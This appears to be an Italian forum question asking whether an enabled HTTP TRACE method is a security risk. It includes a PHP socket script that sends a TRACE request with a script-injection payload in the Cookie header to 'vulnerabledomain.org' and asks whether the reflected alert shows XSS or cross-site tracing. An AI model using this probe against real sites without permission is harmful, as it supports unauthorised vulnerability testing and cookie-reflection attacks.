Innanzitutto, perché il metodo HTTP TRACE è consentito su un sito web Non è una brutta cosa per il web server o per la sicurezza degli utenti?
In secondo luogo, quando eseguo il seguente script PHP tramite il mio browser ...
<?php
$service_port = getservbyname('www', 'tcp');
$host='vulnerabledomain.org';
$address = gethostbyname($host);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n";
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n";
$in = "TRACE /t.php HTTP/1.1\r\n";
$in .= "Cookie: x=str<script>alert(\"XSS\");</script>str\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';
socket_write($socket, $in, strlen($in));
while ($out = socket_read($socket, 2048)) {
echo $out;
}
socket_close($socket);
?>
... Viene visualizzata una finestra di avviso javascript con il mio messaggio (XSS) nell'intestazione del cookie della richiesta e alcune altre informazioni / intestazioni vengono visualizzate nella finestra del browser. Non è questo il segno di una particolare vulnerabilità con questo sito? Intendo cose come le vulnerabilità XSS, XST, ecc.